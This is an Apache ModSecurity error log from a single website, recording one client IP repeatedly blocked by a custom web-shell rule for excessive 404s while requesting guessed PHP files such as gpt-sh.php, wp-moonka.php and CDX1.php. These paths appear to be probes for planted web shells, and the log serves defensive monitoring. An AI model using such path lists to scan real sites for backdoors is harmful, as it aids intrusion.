[Sun Apr 19 02:42:57.679773 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:50014] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aePQsXFWunkyacYqsD1MsQAAAUg"]
[Sun Apr 19 02:42:58.709174 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:55490] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aePQsuXl4Yc-Lt5fJ9isVwAAAQs"]
[Sun Apr 19 02:42:59.448321 2026] [:error] [pid 33517:tid 33539] [client 20.91.197.181:47393] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aePQs34Zz-rubR1wiZ-7gwAAANQ"]
[Sun Apr 19 02:43:00.121651 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:50012] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aePQtEyD4Jm27Mb3NJiWewAAAJU"]
[Sun Apr 19 02:43:00.850712 2026] [:error] [pid 41277:tid 41290] [client 20.91.197.181:50016] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aePQtEH3ayszMLZYflsGEAAAAYs"]
[Sun Apr 19 02:43:01.527656 2026] [:error] [pid 32166:tid 32203] [client 20.91.197.181:52061] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aePQtZCHNkWwdiZnafLXOQAAAEU"]
[Sun Apr 19 02:43:02.299796 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:55523] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aePQtnFWunkyacYqsD1MuAAAAVE"]
[Sun Apr 19 02:43:03.191114 2026] [:error] [pid 32165:tid 32185] [client 20.91.197.181:55211] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aePQt6e2vKwEk_N0Brb_8wAAABA"]
[Sun Apr 19 02:43:04.048464 2026] [:error] [pid 41277:tid 41282] [client 20.91.197.181:52577] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aePQuEH3ayszMLZYflsGEQAAAYM"]
[Sun Apr 19 02:43:04.715904 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:49784] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxfyf.php"] [unique_id "aePQuEH3ayszMLZYflsGEwAAAYg"]
[Sun Apr 19 02:43:05.490011 2026] [:error] [pid 41277:tid 41298] [client 20.91.197.181:52626] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxfyf.php"] [unique_id "aePQuUH3ayszMLZYflsGFgAAAZM"]
[Sun Apr 19 02:43:06.360529 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:50010] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxfyf.php"] [unique_id "aePQunFWunkyacYqsD1MuwAAAUg"]
[Sun Apr 19 02:43:07.149686 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:50021] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxfyf.php"] [unique_id "aePQu3FWunkyacYqsD1MwAAAAVU"]
[Sun Apr 19 02:43:07.836401 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:52590] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aePQu3FWunkyacYqsD1MwgAAAUU"]
[Sun Apr 19 02:43:08.548444 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:48852] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aePQvHFWunkyacYqsD1MxAAAAU0"]
[Sun Apr 19 02:43:09.255485 2026] [:error] [pid 32167:tid 32232] [client 20.91.197.181:49849] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aePQvUyD4Jm27Mb3NJiWjQAAAIc"]
[Sun Apr 19 02:43:09.927344 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:52080] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aePQvUyD4Jm27Mb3NJiWjwAAAIo"]
[Sun Apr 19 02:43:10.929176 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:52069] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "aePQvnFWunkyacYqsD1MzAAAAVM"]
[Sun Apr 19 02:43:11.748438 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:55550] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "aePQv34Zz-rubR1wiZ-7igAAAMw"]
[Sun Apr 19 02:43:12.700812 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:50027] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "aePQwH4Zz-rubR1wiZ-7iwAAAM4"]
[Sun Apr 19 02:43:13.999179 2026] [:error] [pid 32252:tid 32276] [client 20.91.197.181:52576] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "aePQweXl4Yc-Lt5fJ9isXAAAARY"]
[Sun Apr 19 02:43:14.925965 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:51817] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ne2026.php"] [unique_id "aePQwkyD4Jm27Mb3NJiWlgAAAIU"]
[Sun Apr 19 02:43:15.801779 2026] [:error] [pid 32166:tid 32222] [client 20.91.197.181:52573] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ne2026.php"] [unique_id "aePQw5CHNkWwdiZnafLXQAAAAFg"]
[Sun Apr 19 02:43:17.017637 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:52545] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ne2026.php"] [unique_id "aePQxUH3ayszMLZYflsGJgAAAZU"]
[Sun Apr 19 02:43:17.712450 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:52084] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ne2026.php"] [unique_id "aePQxeXl4Yc-Lt5fJ9isYgAAAQs"]
[Sun Apr 19 02:43:18.488634 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:55207] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2ksm17n.php"] [unique_id "aePQxkyD4Jm27Mb3NJiWmQAAAIs"]
[Sun Apr 19 02:43:19.422312 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:52079] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2ksm17n.php"] [unique_id "aePQx0H3ayszMLZYflsGKwAAAYg"]
[Sun Apr 19 02:43:20.243018 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:51046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2ksm17n.php"] [unique_id "aePQyEH3ayszMLZYflsGLwAAAYw"]
[Sun Apr 19 02:43:21.177941 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:52060] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2ksm17n.php"] [unique_id "aePQyUyD4Jm27Mb3NJiWnQAAAIA"]
[Sun Apr 19 02:43:21.967449 2026] [:error] [pid 32165:tid 32186] [client 20.91.197.181:55203] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aePQyae2vKwEk_N0BrYAAgAAABE"]
[Sun Apr 19 02:43:22.738731 2026] [:error] [pid 33517:tid 33530] [client 20.91.197.181:52544] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aePQyn4Zz-rubR1wiZ-7ogAAAMs"]
[Sun Apr 19 02:43:23.339672 2026] [:error] [pid 32166:tid 32206] [client 20.91.197.181:55543] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aePQy5CHNkWwdiZnafLXUQAAAEg"]
[Sun Apr 19 02:43:24.042060 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:52612] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aePQzEyD4Jm27Mb3NJiWpgAAAJA"]
[Sun Apr 19 02:43:24.750407 2026] [:error] [pid 32165:tid 32180] [client 20.91.197.181:55191] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aePQzKe2vKwEk_N0BrYABQAAAAs"]
[Sun Apr 19 02:43:25.890500 2026] [:error] [pid 32165:tid 32191] [client 20.91.197.181:52668] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aePQzae2vKwEk_N0BrYABwAAABY"]
[Sun Apr 19 02:43:27.575810 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:50882] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aePQz0yD4Jm27Mb3NJiWqwAAAIo"]
[Sun Apr 19 02:43:28.761856 2026] [:error] [pid 32252:tid 32273] [client 20.91.197.181:47385] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aePQ0OXl4Yc-Lt5fJ9isagAAARM"]
[Sun Apr 19 02:43:38.087262 2026] [:error] [pid 32252:tid 32266] [client 20.91.197.181:47413] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "aePQ2uXl4Yc-Lt5fJ9ishgAAAQw"]
[Sun Apr 19 02:43:38.676104 2026] [:error] [pid 33517:tid 33536] [client 20.91.197.181:55524] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "aePQ2n4Zz-rubR1wiZ-7wwAAANE"]
[Sun Apr 19 02:43:39.232935 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:55219] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "aePQ23FWunkyacYqsD1M5QAAAUY"]
[Sun Apr 19 02:43:40.155753 2026] [:error] [pid 33517:tid 33540] [client 20.91.197.181:55192] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "aePQ3H4Zz-rubR1wiZ-7xAAAANU"]
[Sun Apr 19 02:43:40.787358 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:49794] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aePQ3H4Zz-rubR1wiZ-7xgAAAMk"]
[Sun Apr 19 02:43:41.833749 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:47394] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aePQ3XFWunkyacYqsD1M7QAAAVc"]
[Sun Apr 19 02:43:42.492773 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:55199] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aePQ3n4Zz-rubR1wiZ-7yQAAAMA"]
[Sun Apr 19 02:43:43.231315 2026] [:error] [pid 32166:tid 32218] [client 20.91.197.181:51027] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aePQ35CHNkWwdiZnafLXeQAAAFQ"]
[Sun Apr 19 02:43:43.818125 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:52580] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "aePQ33FWunkyacYqsD1M9QAAAVc"]
[Sun Apr 19 02:43:44.447695 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:52596] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "aePQ4EyD4Jm27Mb3NJiWvAAAAI8"]
[Sun Apr 19 02:43:45.039576 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:55499] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "aePQ4UyD4Jm27Mb3NJiWvgAAAJA"]
[Sun Apr 19 02:43:45.721009 2026] [:error] [pid 32167:tid 32233] [client 20.91.197.181:55204] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "aePQ4UyD4Jm27Mb3NJiWwgAAAIg"]
[Sun Apr 19 02:43:46.287187 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:52633] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "aePQ4kyD4Jm27Mb3NJiWxQAAAJU"]
[Sun Apr 19 02:43:46.888875 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:52041] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "aePQ4kyD4Jm27Mb3NJiWygAAAIQ"]
[Sun Apr 19 02:43:48.530587 2026] [:error] [pid 32252:tid 32258] [client 20.91.197.181:52066] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "aePQ5OXl4Yc-Lt5fJ9isiwAAAQQ"]
[Sun Apr 19 02:43:49.561628 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:51816] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "aePQ5UyD4Jm27Mb3NJiW0gAAAJM"]
[Sun Apr 19 02:43:51.762303 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:52586] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "aePQ50yD4Jm27Mb3NJiW3QAAAJY"]
[Sun Apr 19 02:43:54.806259 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:47362] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "aePQ6kH3ayszMLZYflsGPQAAAYY"]
[Sun Apr 19 02:43:58.662282 2026] [:error] [pid 33517:tid 33538] [client 20.91.197.181:52551] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "aePQ7n4Zz-rubR1wiZ-7zgAAANM"]
